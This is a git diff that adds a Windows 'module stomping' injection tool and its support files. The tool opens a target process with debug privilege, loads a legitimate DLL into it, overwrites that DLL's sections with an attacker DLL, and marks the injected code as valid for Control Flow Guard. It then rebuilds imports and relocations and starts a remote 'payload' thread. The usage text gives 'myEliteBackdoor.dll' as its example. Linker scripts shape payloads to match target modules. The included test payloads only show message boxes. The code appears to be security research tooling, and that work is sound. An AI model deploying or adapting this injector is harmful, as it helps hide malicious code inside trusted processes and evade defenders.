diff --git a/cowspot.sln b/cowspot.sln index f35f03a..6b706b4 100644 --- a/cowspot.sln +++ b/cowspot.sln @@ -3,6 +3,8 @@ Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio 15 VisualStudioVersion = 15.0.28010.2046 MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{35928C18-5D5D-4BC6-88CE-E5BBE00C0446}" +EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject_simple", "inject_simple\inject_simple.vcxproj", "{5C90611E-0874-4618-9C3D-B1385C83FBDF}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "injectionUtils", "injectionUtils\injectionUtils.vcxproj", "{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}" @@ -15,6 +17,14 @@ Global Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution + {35928C18-5D5D-4BC6-88CE-E5BBE00C0446}.Debug|x64.ActiveCfg = Debug|x64 + {35928C18-5D5D-4BC6-88CE-E5BBE00C0446}.Debug|x64.Build.0 = Debug|x64 + {35928C18-5D5D-4BC6-88CE-E5BBE00C0446}.Debug|x86.ActiveCfg = Debug|Win32 + {35928C18-5D5D-4BC6-88CE-E5BBE00C0446}.Debug|x86.Build.0 = Debug|Win32 + {35928C18-5D5D-4BC6-88CE-E5BBE00C0446}.Release|x64.ActiveCfg = Release|x64 + {35928C18-5D5D-4BC6-88CE-E5BBE00C0446}.Release|x64.Build.0 = Release|x64 + {35928C18-5D5D-4BC6-88CE-E5BBE00C0446}.Release|x86.ActiveCfg = Release|Win32 + {35928C18-5D5D-4BC6-88CE-E5BBE00C0446}.Release|x86.Build.0 = Release|Win32 {5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x64.ActiveCfg = Debug|x64 {5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x64.Build.0 = Debug|x64 {5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x86.ActiveCfg = Debug|Win32 diff --git a/documentation/moduleStompingBlogPost-part-2.docx b/documentation/moduleStompingBlogPost-part-2.docx new file mode 100644 index 0000000..a0cf45e Binary files /dev/null and b/documentation/moduleStompingBlogPost-part-2.docx differ diff --git a/documentation/shellcode.raw b/documentation/shellcode.raw new file mode 100644 index 0000000..11542c3 Binary files /dev/null and b/documentation/shellcode.raw differ diff --git a/inject/inject.cpp b/inject/inject.cpp new file mode 100644 index 0000000..ff3960c --- /dev/null +++ b/inject/inject.cpp @@ -0,0 +1,244 @@ +#include "pch.h" +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#include "../injectionUtils/public.h" + + +void doUsage(int argc, TCHAR *argv[]) +{ + printf("Module stomping injection tool, by Aliz Hammond at Countercept\n"); + printf("This tool will inject a DLL into a target process by overwriting a specified legitimate module in the target.\n"); + printf("The injected DLL must have a compatible memory layout with the legitimate module it overwrites.\n"); + printf("Usage: %S \n", argv[0]); + printf("eg. %S snippingtool.exe C:\\myEliteBackdoor.dll d3d10.dll\n", argv[0]); +} + +unsigned long long resolveImport(HANDLE toScanHandle, std::map* modules, std::wstring moduleName, std::wstring functionName) +{ + // If we haven't seen this module before, get some info about it (and load it if needed) + std::map::iterator it = modules->find(moduleName); + if (it == modules->end()) + { + // Is it loaded already? + void* moduleToStompBase = getModuleBase(toScanHandle, moduleName.c_str()); + if (moduleToStompBase == NULL) + { + // Not loaded already, so load it into the target address space + injectLoadLibrary(toScanHandle, moduleName.c_str()); + } + + // Now construct some info about this module. + modules->insert(std::pair(moduleName, new moduleInMemory(toScanHandle, moduleToStompBase))); + it = modules->find(moduleName); + } + + // Finally, we can look up the export itself. + // If it is forwarded, we resolve it recursively. + exportedFunc* resolvedImport = (*it).second->getExport(functionName); + if (resolvedImport->isForwarded) + return resolveImport(toScanHandle, modules, resolvedImport->forwardedModuleName, resolvedImport->forwardedFunctionName); + + return resolvedImport->functionPointerSite; +} + +int wmainWrapped(int argc, TCHAR *argv[]) +{ + if (argc != 4) + { + doUsage(argc, argv); + return -1; + } + + TCHAR* targetProcessName = argv[1]; + TCHAR* targetModuleName = argv[2]; + TCHAR* moduleToStompFilename = argv[3]; + + // Load the module that the user wants to inject into the target process. + moduleFromDisk sourceModule(targetModuleName); + + DWORD targetPid = getPIDForProcessByName(targetProcessName); + if (targetPid == 0) + { + std::wstringstream os(L""); + os << "Can't find process" << targetProcessName; + throw errorMaker::wruntime_error(&os); + } + + if (!EnableDebugPrivilege(TRUE)) + throw std::exception("Couldn't enable debug privilege\n"); + + HANDLE toScanHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_ALL_ACCESS | PROCESS_SUSPEND_RESUME, FALSE, targetPid); + if (toScanHandle == NULL) + { + std::wstringstream os(L""); + os << "Couldn't open target process (PID " << targetPid << "), GetLastError " << GetLastError(); + throw errorMaker::wruntime_error(&os); + } + + // Convince the target to load the library we're going to stomp on top of. We just inject a thread to LoadLibraryA. + void* moduleToStompBase = injectLoadLibrary(toScanHandle, moduleToStompFilename); + + // Find the module we'll be overwriting + moduleInMemory targetModule = moduleInMemory(toScanHandle, moduleToStompBase); + + // And inject each section in turn. + for (unsigned int sectionIndex = 0; sectionIndex < sourceModule.sections.size(); sectionIndex++) + { + section srcSect = sourceModule.sections[sectionIndex]; + printf("Overwriting section '%S'..\n", srcSect.name.c_str()); + + // Check perms match OK + bool foundOK = false; + for (unsigned int n = 0; n < targetModule.sections.size(); n++) + { + section* dstSect = &targetModule.sections[n]; + if ((srcSect.VirtualAddress >= dstSect->VirtualAddress) && + (srcSect.VirtualAddress <= dstSect->VirtualAddress + dstSect->VirtualSize)) + { + DWORD dstAttr = dstSect->Characteristics; + DWORD srcAttr = srcSect.Characteristics; + + // Attributes are only important for memory permissions. + bool srcR = srcAttr & IMAGE_SCN_MEM_READ; + bool srcW = srcAttr & IMAGE_SCN_MEM_WRITE; + bool srcE = srcAttr & IMAGE_SCN_MEM_EXECUTE; + bool dstR = dstAttr & IMAGE_SCN_MEM_READ; + bool dstW = dstAttr & IMAGE_SCN_MEM_WRITE; + bool dstE = dstAttr & IMAGE_SCN_MEM_EXECUTE; + + // We can put RO code into a RW area. + if ( dstR && dstW && srcR ) + srcW = true; + + // Do the permissions differ between what we're trying to load and memory itself? + if ((srcR != dstR) || (srcW != dstW) || (srcE != dstE)) + { + printf("Cannot stomp memory at source VA 0x%08lx: permissions mismatch!\n", srcSect.VirtualAddress); + printf("%S section '%S' requires permissions %s%s%s\n", + targetModuleName, + srcSect.name.c_str(), + srcR ? "R" : "", + srcW ? "W" : "", + srcE ? "E" : ""); + printf("%S section '%S' has permissions %s%s%s\n", + moduleToStompFilename, + dstSect->name.c_str(), + dstR ? "R" : "", + dstW ? "W" : "", + dstE ? "E" : ""); + return -1; + } + foundOK = true; + break; + } + } + if (!foundOK) + { + section* dstByName = sourceModule.getSectionByName(srcSect.name); + std::wstringstream os(L""); + if (dstByName != NULL) + os << "Can't find section to overwrite for source section " << srcSect.name << " - maybe try " << std::hex << dstByName->VirtualAddress << " instead of " << srcSect.VirtualAddress << " ?"; + else + os << "Can't find section to overwrite for source section " << srcSect.name; + throw errorMaker::wruntime_error(&os); + } + + // If we're writing executable code, then we should also add exceptions to the CFG bitmap. + if (srcSect.Characteristics & IMAGE_SCN_MEM_EXECUTE) + { + for (unsigned int n = 0; n < srcSect.VirtualSize; n += 16) + targetModule.markCFGValid(n); + } + + if (srcSect.Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) + { + unsigned char* sectionData = (unsigned char*)malloc(srcSect.VirtualSize); + memset(sectionData, 0x00, srcSect.VirtualSize); + targetModule.writeToModule(sectionData, srcSect.VirtualAddress, srcSect.VirtualSize); + free(sectionData); + } + else + { + // printf("Writing 0x%08lx bytes starting at 0x%08lx\n", srcSect.VirtualSize, srcSect.VirtualAddress); + unsigned char* sectionData = (unsigned char*)malloc(srcSect.VirtualSize); + sourceModule.readFromModule(srcSect.VirtualAddress, sectionData, srcSect.VirtualSize); + targetModule.writeToModule(sectionData, srcSect.VirtualAddress, srcSect.VirtualSize); + free(sectionData); + } + } + + // Now rebuild the import table. + printf("Rebuilding imports..\n"); + std::map moduleCache; + for (unsigned int n = 0; n < sourceModule.imports.size(); n++) + { + unsigned long long FPRVA = (unsigned long long)sourceModule.imports[n].functionPointerRVA; + unsigned long long resolved = resolveImport(toScanHandle, &moduleCache, sourceModule.imports[n].moduleName, sourceModule.imports[n].functionName); + targetModule.writeToModule(&resolved, FPRVA, sizeof(unsigned long long)); + } + + // Apply any relocations + printf("Applying relocations..\n"); + for (unsigned int n = 0; n < sourceModule.relocs.size(); n++) + { + unsigned long long fixedUp; + targetModule.readFromModule(sourceModule.relocs[n].targetSite, &fixedUp, sourceModule.relocs[n].size); + fixedUp += (((unsigned long long)targetModule.targetModuleBase) - sourceModule.preferredBaseAddress ); + targetModule.writeToModule(&fixedUp, sourceModule.relocs[n].targetSite, sourceModule.relocs[n].size); + printf("Location %llx now %llx\n", sourceModule.relocs[n].targetSite, fixedUp); + } + + // Call the module's entrypoint so the CRT can initialise + printf("Calling module entrypoint..\n"); + unsigned long long args[3] = { (unsigned long long)targetModule.targetModuleBase, DLL_PROCESS_ATTACH, 0 }; + targetModule.injectThread(sourceModule.entrypoint, args, 3 ); + + unsigned long long args2[3] = { (unsigned long long)targetModule.targetModuleBase, DLL_THREAD_ATTACH, 0 }; + targetModule.injectThread(sourceModule.entrypoint, args2, 3); + + // Call the TLS callbacks + printf("Calling TLS callbacks..\n"); + for (unsigned int n = 0; n < sourceModule.TLSCallbacks.size(); n++) + targetModule.injectThread(sourceModule.TLSCallbacks[n], NULL, 0); + + // Finally, start a remote thread to call the entry point. + // If 'payload' doesn't exist, try the C++ mangled void(void) style. + exportedFunc* payloadExp = NULL; + if (sourceModule.hasExport(L"payload")) + payloadExp = sourceModule.getExport(L"payload"); + else if (sourceModule.hasExport(L"_Z7payloadv")) + payloadExp = sourceModule.getExport(L"_Z7payloadv"); + else + throw std::exception("Injected code does not export 'payload' function\n"); + + printf("Starting payload thread\n"); + targetModule.injectThread(payloadExp->functionPointerRVA, NULL, 0, false); + + printf("All OK.\n"); + + return 0; +} + + +int wmain(int argc, TCHAR *argv[]) +{ + try + { + return wmainWrapped(argc, argv); + } + catch (std::exception& e) + { + printf("Exception:\n"); + printf(e.what()); + } +} diff --git a/inject/inject.vcxproj b/inject/inject.vcxproj new file mode 100644 index 0000000..2c7f044 --- /dev/null +++ b/inject/inject.vcxproj @@ -0,0 +1,185 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {35928C18-5D5D-4BC6-88CE-E5BBE00C0446} + Win32Proj + inject + 10.0.17763.0 + + + + Application + true + v141 + Unicode + false + + + Application + false + v141 + true + Unicode + false + + + Application + true + v141 + Unicode + false + + + Application + false + v141 + true + Unicode + false + + + + + + + + + + + + + + + + + + + + + false + + + true + + + true + + + false + + + + Use + Level3 + MaxSpeed + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + pch.h + true + + + Console + true + true + true + Shlwapi.lib;%(AdditionalDependencies) + + + + + Use + Level3 + Disabled + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + pch.h + true + + + Console + true + Shlwapi.lib;%(AdditionalDependencies) + + + + + Use + Level3 + Disabled + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + pch.h + true + + + Console + true + Shlwapi.lib;%(AdditionalDependencies) + + + + + Use + Level3 + MaxSpeed + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + pch.h + true + + + Console + true + true + true + Shlwapi.lib;%(AdditionalDependencies) + + + + + + + + + Create + Create + Create + Create + + + + + {171d6509-8ba1-489e-bb38-b3db2c9b53bb} + + + + + + \ No newline at end of file diff --git a/inject/pch.cpp b/inject/pch.cpp new file mode 100644 index 0000000..3a3d12b --- /dev/null +++ b/inject/pch.cpp @@ -0,0 +1,5 @@ +// pch.cpp: source file corresponding to pre-compiled header; necessary for compilation to succeed + +#include "pch.h" + +// In general, ignore this file, but keep it around if you are using pre-compiled headers. diff --git a/inject/pch.h b/inject/pch.h new file mode 100644 index 0000000..0b66abd Binary files /dev/null and b/inject/pch.h differ diff --git a/injectionPayloads/Makefile b/injectionPayloads/Makefile new file mode 100644 index 0000000..8512e11 --- /dev/null +++ b/injectionPayloads/Makefile @@ -0,0 +1,16 @@ + +ifndef ldscript +$(error Set 'ldscript' to the linker script to use, eg, "make ldscript=ldscript.d3d10") +endif + +CC = x86_64-w64-mingw32-gcc +FLAGS = -mdll -s -T $(ldscript) -lws2_32 + +all : hello.dll globalCstrs.dll winsock.dll tls.dll +clean : hello.dll-clean globalCstrs.dll-clean winsock.dll-clean tls.dll-clean + +%.dll : + $(CC) $(basename $@).cpp -o $@ $(FLAGS) + +%.dll-clean : + rm $(basename $@).dll diff --git a/injectionPayloads/exception.cpp b/injectionPayloads/exception.cpp new file mode 100644 index 0000000..2918535 --- /dev/null +++ b/injectionPayloads/exception.cpp @@ -0,0 +1,23 @@ +#include + +__declspec(dllexport) void payload() +{ + bool didCatch = FALSE; + try + { + throw 1; + } + catch(int) + { + didCatch = TRUE; + } + if (!didCatch) + MessageBoxA(0, "No exception caught", "Results", 0); + else + MessageBoxA(0, "Exception caught OK", "Results", 0); + ExitThread(0); +} +BOOL WINAPI DllMain( _In_ HINSTANCE hinstDLL, _In_ DWORD fdwReason, _In_ LPVOID lpvReserved ) +{ + return 1; +} \ No newline at end of file diff --git a/injectionPayloads/globalCstrs.cpp b/injectionPayloads/globalCstrs.cpp new file mode 100644 index 0000000..fb4de4b --- /dev/null +++ b/injectionPayloads/globalCstrs.cpp @@ -0,0 +1,21 @@ +#include + +class foo +{ +public: + foo(int num) + { + this->num = num * 2; + } + int num; +}; + +foo myfoo(10); + +__declspec(dllexport) void payload() +{ + if (myfoo.num != 20) + MessageBoxA(0, "Incorrect", "Results", 0); + else + MessageBoxA(0, "Correct", "Results", 0); +} diff --git a/injectionPayloads/globalCstrs.dll b/injectionPayloads/globalCstrs.dll new file mode 100644 index 0000000..fa00bc4 Binary files /dev/null and b/injectionPayloads/globalCstrs.dll differ diff --git a/injectionPayloads/hello.cpp b/injectionPayloads/hello.cpp new file mode 100644 index 0000000..b9b8272 --- /dev/null +++ b/injectionPayloads/hello.cpp @@ -0,0 +1,12 @@ + +#include + +__declspec(dllexport) void payload() +{ + MessageBoxA(0, "hi", "Hello world", 0); + ExitThread(0); +} +BOOL WINAPI DllMain( _In_ HINSTANCE hinstDLL, _In_ DWORD fdwReason, _In_ LPVOID lpvReserved ) +{ + return 1; +} \ No newline at end of file diff --git a/injectionPayloads/hello.dll b/injectionPayloads/hello.dll new file mode 100644 index 0000000..6194878 Binary files /dev/null and b/injectionPayloads/hello.dll differ diff --git a/injectionPayloads/ldscript.WindowsCodecsRaw b/injectionPayloads/ldscript.WindowsCodecsRaw new file mode 100644 index 0000000..e72d2a2 --- /dev/null +++ b/injectionPayloads/ldscript.WindowsCodecsRaw @@ -0,0 +1,316 @@ +/* Default linker script, for normal executables */ +/* Copyright (C) 2014-2017 Free Software Foundation, Inc. + Copying and distribution of this script, with or without modification, + are permitted in any medium without royalty provided the copyright + notice and this notice are preserved. */ +OUTPUT_FORMAT(pei-x86-64) +SEARCH_DIR("/usr/x86_64-pc-msys/lib"); SEARCH_DIR("/usr/lib"); SEARCH_DIR("/usr/lib/w32api"); +SECTIONS +{ + /* Make the virtual address and file offset synced if the alignment is + lower than the target page size. */ + .text __image_base__ + 0x00001000 : + { + KEEP(*(.init)) + *(.text) + *(SORT(.text$*)) + *(.text.*) + *(.gnu.linkonce.t.*) + *(.glue_7t) + *(.glue_7) + . = ALIGN(8); + ___CTOR_LIST__ = .; __CTOR_LIST__ = . ; + LONG (-1); LONG (-1); + KEEP (*(.ctors)); + KEEP (*(.ctor)); + KEEP (*(SORT(.ctors.*))); + LONG (0); LONG (0); + ___DTOR_LIST__ = .; __DTOR_LIST__ = . ; + LONG (-1); LONG (-1); + KEEP (*(.dtors)); + KEEP (*(.dtor)); + KEEP (*(SORT(.dtors.*))); + LONG (0); LONG (0); + KEEP (*(.fini)) + /* ??? Why is .gcc_exc here? */ + *(.gcc_exc) + PROVIDE (etext = .); + KEEP (*(.gcc_except_table)) + } + /* The Cygwin32 library uses a section to avoid copying certain data + on fork. This used to be named ".data". The linker used + to include this between __data_start__ and __data_end__, but that + breaks building the cygwin32 dll. Instead, we name the section + ".data_cygwin_nocopy" and explicitly include it after __data_end__. */ + .data __image_base__ + 0x00366000 : + { + __data_start__ = . ; + *(.data) + *(.data2) + *(SORT(.data$*)) + KEEP(*(.jcr)) + __data_end__ = . ; + *(.data_cygwin_nocopy) + } + .rdata BLOCK(__section_alignment__) : + { + *(.rdata) + *(SORT(.rdata$*)) + __rt_psrelocs_start = .; + KEEP(*(.rdata_runtime_pseudo_reloc)) + __rt_psrelocs_end = .; + } + __rt_psrelocs_size = __rt_psrelocs_end - __rt_psrelocs_start; + ___RUNTIME_PSEUDO_RELOC_LIST_END__ = .; + __RUNTIME_PSEUDO_RELOC_LIST_END__ = .; + ___RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size; + __RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size; + .eh_frame BLOCK(__section_alignment__) : + { + KEEP (*(.eh_frame*)) + } + .pdata BLOCK(__section_alignment__) : + { + KEEP(*(.pdata*)) + } + .xdata BLOCK(__section_alignment__) : + { + KEEP(*(.xdata*)) + } + .bss BLOCK(__section_alignment__) : + { + __bss_start__ = . ; + *(.bss) + *(COMMON) + __bss_end__ = . ; + } + .edata BLOCK(__section_alignment__) : + { + *(.edata) + } + /DISCARD/ : + { + *(.debug$S) + *(.debug$T) + *(.debug$F) + *(.drectve) + *(.note.GNU-stack) + *(.gnu.lto_*) + } + .idata BLOCK(__section_alignment__) : + { + /* This cannot currently be handled with grouped sections. + See pep.em:sort_sections. */ + KEEP (SORT(*)(.idata$2)) + KEEP (SORT(*)(.idata$3)) + /* These zeroes mark the end of the import list. */ + LONG (0); LONG (0); LONG (0); LONG (0); LONG (0); + KEEP (SORT(*)(.idata$4)) + __IAT_start__ = .; + SORT(*)(.idata$5) + __IAT_end__ = .; + KEEP (SORT(*)(.idata$6)) + KEEP (SORT(*)(.idata$7)) + } + .CRT BLOCK(__section_alignment__) : + { + ___crt_xc_start__ = . ; + KEEP (*(SORT(.CRT$XC*))) /* C initialization */ + ___crt_xc_end__ = . ; + ___crt_xi_start__ = . ; + KEEP (*(SORT(.CRT$XI*))) /* C++ initialization */ + ___crt_xi_end__ = . ; + ___crt_xl_start__ = . ; + KEEP (*(SORT(.CRT$XL*))) /* TLS callbacks */ + /* ___crt_xl_end__ is defined in the TLS Directory support code */ + ___crt_xp_start__ = . ; + KEEP (*(SORT(.CRT$XP*))) /* Pre-termination */ + ___crt_xp_end__ = . ; + ___crt_xt_start__ = . ; + KEEP (*(SORT(.CRT$XT*))) /* Termination */ + ___crt_xt_end__ = . ; + } + /* Windows TLS expects .tls$AAA to be at the start and .tls$ZZZ to be + at the end of the .tls section. This is important because _tls_start MUST + be at the beginning of the section to enable SECREL32 relocations with TLS + data. */ + .tls BLOCK(__section_alignment__) : + { + ___tls_start__ = . ; + KEEP (*(.tls$AAA)) + KEEP (*(.tls)) + KEEP (*(.tls$)) + KEEP (*(SORT(.tls$*))) + KEEP (*(.tls$ZZZ)) + ___tls_end__ = . ; + } + .endjunk BLOCK(__section_alignment__) : + { + /* end is deprecated, don't use it */ + PROVIDE (end = .); + PROVIDE ( _end = .); + __end__ = .; + } + .rsrc BLOCK(__section_alignment__) : SUBALIGN(4) + { + KEEP (*(.rsrc)) + KEEP (*(.rsrc$*)) + } + .reloc BLOCK(__section_alignment__) : + { + *(.reloc) + } + .stab BLOCK(__section_alignment__) (NOLOAD) : + { + *(.stab) + } + .stabstr BLOCK(__section_alignment__) (NOLOAD) : + { + *(.stabstr) + } + /* DWARF debug sections. + Symbols in the DWARF debugging sections are relative to the beginning + of the section. Unlike other targets that fake this by putting the + section VMA at 0, the PE format will not allow it. */ + /* DWARF 1.1 and DWARF 2. */ + .debug_aranges BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_aranges) + } + .zdebug_aranges BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_aranges) + } + .debug_pubnames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_pubnames) + } + .zdebug_pubnames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_pubnames) + } + .debug_pubtypes BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_pubtypes) + } + .zdebug_pubtypes BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_pubtypes) + } + /* DWARF 2. */ + .debug_info BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_info .gnu.linkonce.wi.*) + } + .zdebug_info BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_info .zdebug.gnu.linkonce.wi.*) + } + .debug_abbrev BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_abbrev) + } + .zdebug_abbrev BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_abbrev) + } + .debug_line BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_line) + } + .zdebug_line BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_line) + } + .debug_frame BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_frame) + } + .zdebug_frame BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_frame) + } + .debug_str BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_str) + } + .zdebug_str BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_str) + } + .debug_loc BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_loc) + } + .zdebug_loc BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_loc) + } + .debug_macinfo BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_macinfo) + } + .zdebug_macinfo BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_macinfo) + } + /* SGI/MIPS DWARF 2 extensions. */ + .debug_weaknames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_weaknames) + } + .zdebug_weaknames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_weaknames) + } + .debug_funcnames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_funcnames) + } + .zdebug_funcnames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_funcnames) + } + .debug_typenames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_typenames) + } + .zdebug_typenames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_typenames) + } + .debug_varnames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_varnames) + } + .zdebug_varnames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_varnames) + } + .debug_macro BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_macro) + } + .zdebug_macro BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_macro) + } + /* DWARF 3. */ + .debug_ranges BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_ranges) + } + .zdebug_ranges BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_ranges) + } + /* DWARF 4. */ + .debug_types BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_types .gnu.linkonce.wt.*) + } + .zdebug_types BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_types .zdebug.gnu.linkonce.wt.*) + } +} diff --git a/injectionPayloads/ldscript.d3d10 b/injectionPayloads/ldscript.d3d10 new file mode 100644 index 0000000..3d1b4fe --- /dev/null +++ b/injectionPayloads/ldscript.d3d10 @@ -0,0 +1,303 @@ +/* Default linker script, for normal executables */ +/* Copyright (C) 2014-2017 Free Software Foundation, Inc. + Copying and distribution of this script, with or without modification, + are permitted in any medium without royalty provided the copyright + notice and this notice are preserved. */ +OUTPUT_FORMAT(pei-x86-64) +SEARCH_DIR("/usr/x86_64-pc-msys/lib"); SEARCH_DIR("/usr/lib"); SEARCH_DIR("/usr/lib/w32api"); +SECTIONS +{ + /* Make the virtual address and file offset synced if the alignment is + lower than the target page size. */ + . = __image_base__ + 0x00001000; + .text : + { + KEEP(*(.init)) + *(.text) + *(SORT(.text$*)) + *(.text.*) + *(.gnu.linkonce.t.*) + *(.glue_7t) + *(.glue_7) + . = ALIGN(8); + ___CTOR_LIST__ = .; __CTOR_LIST__ = . ; + LONG (-1); LONG (-1); + KEEP (*(.ctors)); + KEEP (*(.ctor)); + KEEP (*(SORT(.ctors.*))); + LONG (0); LONG (0); + ___DTOR_LIST__ = .; __DTOR_LIST__ = . ; + LONG (-1); LONG (-1); + KEEP (*(.dtors)); + KEEP (*(.dtor)); + KEEP (*(SORT(.dtors.*))); + LONG (0); LONG (0); + KEEP (*(.fini)) + /* ??? Why is .gcc_exc here? */ + *(.gcc_exc) + PROVIDE (etext = .); + KEEP (*(.gcc_except_table)) + } + /* The Cygwin32 library uses a section to avoid copying certain data + on fork. This used to be named ".data". The linker used + to include this between __data_start__ and __data_end__, but that + breaks building the cygwin32 dll. Instead, we name the section + ".data_cygwin_nocopy" and explicitly include it after __data_end__. */ + . = __image_base__ + 0x00124000; + .data : + { + __data_start__ = . ; + *(.data) + *(.data2) + *(SORT(.data$*)) + KEEP(*(.jcr)) + __data_end__ = . ; + *(.data_cygwin_nocopy) + *(.rdata) + *(SORT(.rdata$*)) + __rt_psrelocs_start = .; + KEEP(*(.rdata_runtime_pseudo_reloc)) + __rt_psrelocs_end = .; + KEEP (*(.rsrc)) + KEEP (*(.rsrc$*)) + *(.reloc) + } + __rt_psrelocs_size = __rt_psrelocs_end - __rt_psrelocs_start; + ___RUNTIME_PSEUDO_RELOC_LIST_END__ = .; + __RUNTIME_PSEUDO_RELOC_LIST_END__ = .; + ___RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size; + __RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size; + .eh_frame BLOCK(__section_alignment__) : + { + KEEP (*(.eh_frame*)) + KEEP(*(.pdata*)) + KEEP(*(.xdata*)) + } + .bss BLOCK(__section_alignment__) : + { + __bss_start__ = . ; + *(.bss) + *(COMMON) + __bss_end__ = . ; + } + .edata BLOCK(__section_alignment__) : + { + *(.edata) + } + /DISCARD/ : + { + *(.debug$S) + *(.debug$T) + *(.debug$F) + *(.drectve) + *(.note.GNU-stack) + *(.gnu.lto_*) + } + .idata BLOCK(__section_alignment__) : + { + /* This cannot currently be handled with grouped sections. + See pep.em:sort_sections. */ + KEEP (SORT(*)(.idata$2)) + KEEP (SORT(*)(.idata$3)) + /* These zeroes mark the end of the import list. */ + LONG (0); LONG (0); LONG (0); LONG (0); LONG (0); + KEEP (SORT(*)(.idata$4)) + __IAT_start__ = .; + SORT(*)(.idata$5) + __IAT_end__ = .; + KEEP (SORT(*)(.idata$6)) + KEEP (SORT(*)(.idata$7)) + } + .CRT BLOCK(__section_alignment__) : + { + ___crt_xc_start__ = . ; + KEEP (*(SORT(.CRT$XC*))) /* C initialization */ + ___crt_xc_end__ = . ; + ___crt_xi_start__ = . ; + KEEP (*(SORT(.CRT$XI*))) /* C++ initialization */ + ___crt_xi_end__ = . ; + ___crt_xl_start__ = . ; + KEEP (*(SORT(.CRT$XL*))) /* TLS callbacks */ + /* ___crt_xl_end__ is defined in the TLS Directory support code */ + ___crt_xp_start__ = . ; + KEEP (*(SORT(.CRT$XP*))) /* Pre-termination */ + ___crt_xp_end__ = . ; + ___crt_xt_start__ = . ; + KEEP (*(SORT(.CRT$XT*))) /* Termination */ + ___crt_xt_end__ = . ; + } + /* Windows TLS expects .tls$AAA to be at the start and .tls$ZZZ to be + at the end of the .tls section. This is important because _tls_start MUST + be at the beginning of the section to enable SECREL32 relocations with TLS + data. */ + .tls BLOCK(__section_alignment__) : + { + ___tls_start__ = . ; + KEEP (*(.tls$AAA)) + KEEP (*(.tls)) + KEEP (*(.tls$)) + KEEP (*(SORT(.tls$*))) + KEEP (*(.tls$ZZZ)) + ___tls_end__ = . ; + } + .endjunk BLOCK(__section_alignment__) : + { + /* end is deprecated, don't use it */ + PROVIDE (end = .); + PROVIDE ( _end = .); + __end__ = .; + } + .stab BLOCK(__section_alignment__) (NOLOAD) : + { + *(.stab) + } + .stabstr BLOCK(__section_alignment__) (NOLOAD) : + { + *(.stabstr) + } + /* DWARF debug sections. + Symbols in the DWARF debugging sections are relative to the beginning + of the section. Unlike other targets that fake this by putting the + section VMA at 0, the PE format will not allow it. */ + /* DWARF 1.1 and DWARF 2. */ + .debug_aranges BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_aranges) + } + .zdebug_aranges BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_aranges) + } + .debug_pubnames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_pubnames) + } + .zdebug_pubnames BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_pubnames) + } + .debug_pubtypes BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_pubtypes) + } + .zdebug_pubtypes BLOCK(__section_alignment__) (NOLOAD) : + { + *(.zdebug_pubtypes) + } + /* DWARF 2. */ + .debug_info BLOCK(__section_alignment__) (NOLOAD) : + { + *(.debug_info 